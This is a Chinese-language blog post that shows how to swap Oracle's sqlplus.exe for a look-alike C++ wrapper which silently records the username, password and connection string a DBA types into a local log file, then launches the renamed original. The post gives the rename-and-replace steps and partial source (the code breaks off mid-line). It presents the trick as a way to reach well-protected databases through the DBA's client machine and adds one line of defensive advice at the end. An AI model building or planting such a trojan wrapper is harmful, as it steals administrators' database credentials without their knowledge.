偷龙转凤SQLPlus得到数据库登录信息

当DBA登录本地或远程数据库时，为了省事，用 sqlplus 用户名/ 密码 @连接服务名 的方式登录数据库是再平常不过了，而我们如果将Oracle的SQLPlus换成我们自己的实现，然后当使用时，记录下它的登录信息，就得到了数据库的用户名，密码等信息。 这是一种很简单

当DBA登录本地或远程数据库时，为了省事，用"sqlplus 用户名/密码@连接服务名" 的方式登录数据库是再平常不过了，而我们如果将Oracle的SQLPlus换成我们自己的实现，然后当使用时，记录下它的登录信息，就得到了数据库的用户名，密码等信息。

这是一种很简单的，偷龙转凤的方式，有其局限性。但有时，如果数据库本身的防护很严，从DBA客户端这边下手，利用这种方式有时也能有意外的收获。

效果图:

这种方式跑起来和Oracle原来的是一模一样的. 光看是看不来什么地。

被记录下的登录信息:

代码如下:

 


/**
*author: xiongchuanliang
*desc: 用自定义的sqlplus替换掉Oracle原版的,并在自定义的程序中记录下用户的登录信息的演示
       1. 找到Oracle自带的sqlplus.exe,将其命名为其它文件
	   2. 用自定义的替换掉原版
*/
#include 
#include 

#include 

#include 
#include 
using namespace std;

HRESULT CMDEx(const char *pCmd) ;

//将原版的sqlplus.exe改为sqlplus_ora.exe";
const string sqlplus_path = "C:/oracle/product/11.2.0/dbhome_1/BIN/sqlplus_ora.exe";
const string oper_log = "C:/mysqlplus.log";

int main(int argc,char* argv[])
{	
	string sqlplus_cmd = sqlplus_path;

	ofstream flog(oper_log,ios::app);
	SYSTEMTIME sys;
	if(flog){ 			
		GetLocalTime(&sys);
		flog<对这种方式最好的防护方法是在输入连接字符串时不输入明文的密码。




MAIL: xcl_168@aliyun.com
BLOG: http://blog.csdn.net/xcl168